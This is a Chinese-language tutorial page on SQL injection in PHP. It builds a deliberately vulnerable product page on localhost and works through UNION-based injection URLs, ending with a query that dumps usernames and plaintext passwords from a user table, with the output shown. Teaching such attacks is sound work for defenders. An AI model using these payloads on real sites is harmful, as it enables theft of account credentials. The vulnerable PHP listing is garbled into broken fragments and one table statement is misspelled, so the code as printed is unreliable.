文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

PHP的SQL注入完整过程

2024-04-02 19:55

关注

这篇文章主要介绍“PHP的SQL注入完整过程”,在日常操作中,相信很多人在PHP的SQL注入完整过程问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”PHP的SQL注入完整过程”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

  SQL注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

  首先观察两个MYSQL数据表

  用户记录表:

  REATE TABLE `php_user` (

  `id` int(11) NOT NULL auto_increment,

  `username` varchar(20) NOT NULL default '',

  `password` varchar(20) NOT NULL default '',

  `userlevel` char(2) NOT NULL default '0',

  PRIMARY KEY (`id`)

  ) TYPE=MyISAM AUTO_INCREMENT=3 ;

  INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd', '10');

  INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');

  产品记录列表:

  CREATE TABLE `php_product` (

  `id` int(11) NOT NULL auto_increment,

  `name` varchar(100) NOT NULL default '',

  `price` float NOT NULL default '0',

  `img` varchar(200) NOT NULL default '',

  PRIMARY KEY (`id`)

  ) TYPE=MyISAM AUTO_INCREMENT=3 ;

  INSERT INTO `php_product` VALUES (1, 'name_1', 12.2, 'images/name_1.jpg');

  INSERT INTO `php_product` VALUES (2, 'name_2', 35.25, 'images/name_2.jpg');

  以下文件是show_product.php用于显示产品列表。SQL注入也是利用此文件的SQL语句漏洞

  $conn = mysql_connect("localhost", "root", "root");

  if(!$conn){

  echo "数据库联接错误";

  exit;

  }

  if (!mysql_select_db("phpsql")) {

  echo "选择数据库出错" . mysql_error();

  exit;

  }

  $tempID=$_GET['id'];

  if($tempID<=0 tempid="1;" sql="SELECT * FROM php_product WHERE id =$tempID" echo="" result="mysql_query($sql);" if="" .="" while="" row="mysql_fetch_assoc($result))">

  观察此语句:$sql = "SELECT * FROM php_product WHERE id =$tempID";

  $tempID是从$_GET得到。我们可以构造这个变量的值,从而达到SQL注入的目的

  分别构造以下链接:

  1、 http://localhost/phpsql/index.php?id=1

  得到以下输出

  SELECT * FROM php_product WHERE id =1 //当前执行的SQL语句

  //得到ID为1的产品资料列表

  ID:1

  name:name_1

  price:12.2

  image:images/name_1.jpg

  2、 http://localhost/phpsql/index.php?id=1 or 1=1

  得到输出

  SELECT * FROM php_product WHERE id =1 or 1=1 //当前执行的SQL语句

  //一共两条产品资料列表

  ID:1

  name:name_1

  price:12.2

  image:images/name_1.jpg

  ID:2

  name:name_2

  price:35.25

  image:images/name_2.jpg

  1和2都得到资料列表输出,证明SQL语句执行成功

  判断数据表字段数量

  http://localhost/phpsql/index.php?id=1 union select 1,1,1,1

  得到输出

  SELECT * FROM php_product WHERE id =1 union select 1,1,1,1 //当前执行的SQL语句

  //一共两条记录,注意第二条的记录为全1,这是union select联合查询的结果。

  ID:1

  name:name_1

  price:12.2

  image:images/name_1.jpg

  ID:1

  name:1

  price:1

  image:1

  判断数据表字段类型

  http://localhost/phpsql/index.php?id=1 union select char(65),char(65),char(65),char(65)

  得到输出

  SELECT * FROM php_product WHERE id =1 union select char(65),char(65),char(65),char(65)

  ID:1

  name:name_1

  price:12.2

  image:images/name_1.jpg

  ID:0

  name:A

  price:0

  image:A

  注意第二条记录,如果后面的值等于A,说明这个字段与union查询后面构造的字段类型相符。此时union后面

  为char(65),表示字符串类型。经过观察。可以发现name字段和image字段的类型都是字符串类型

  大功告成,得到我们想要的东西:

  http://localhost/phpsql/index.php?id=10000 union select 1,username,1,password from php_user

  得到输出:

  SELECT * FROM php_product WHERE id =10000 union select 1,username,1,password from php_user

  //输出了两条用户资料,name为用户名称,image为用户密码。

  ID:1

  name:seven

  price:1

  image:seven_pwd

  ID:1

  name:swons

  price:1

  image:swons_pwd

  注意URL中的ID=10000是为了不得到产品资料,只得到后面union的查询结果。更具实际情况ID的值有所不同

  union的username和password必须放在2和4的位置上。这样才能和前面的select语句匹配。这是union查询

  语句的特点

  备注:

  这个简单的注入方法是更具特定环境的。实际中比这复杂。但是原理是相同的。

到此,关于“PHP的SQL注入完整过程”的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注亿速云网站,小编会继续努力为大家带来更多实用的文章!

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯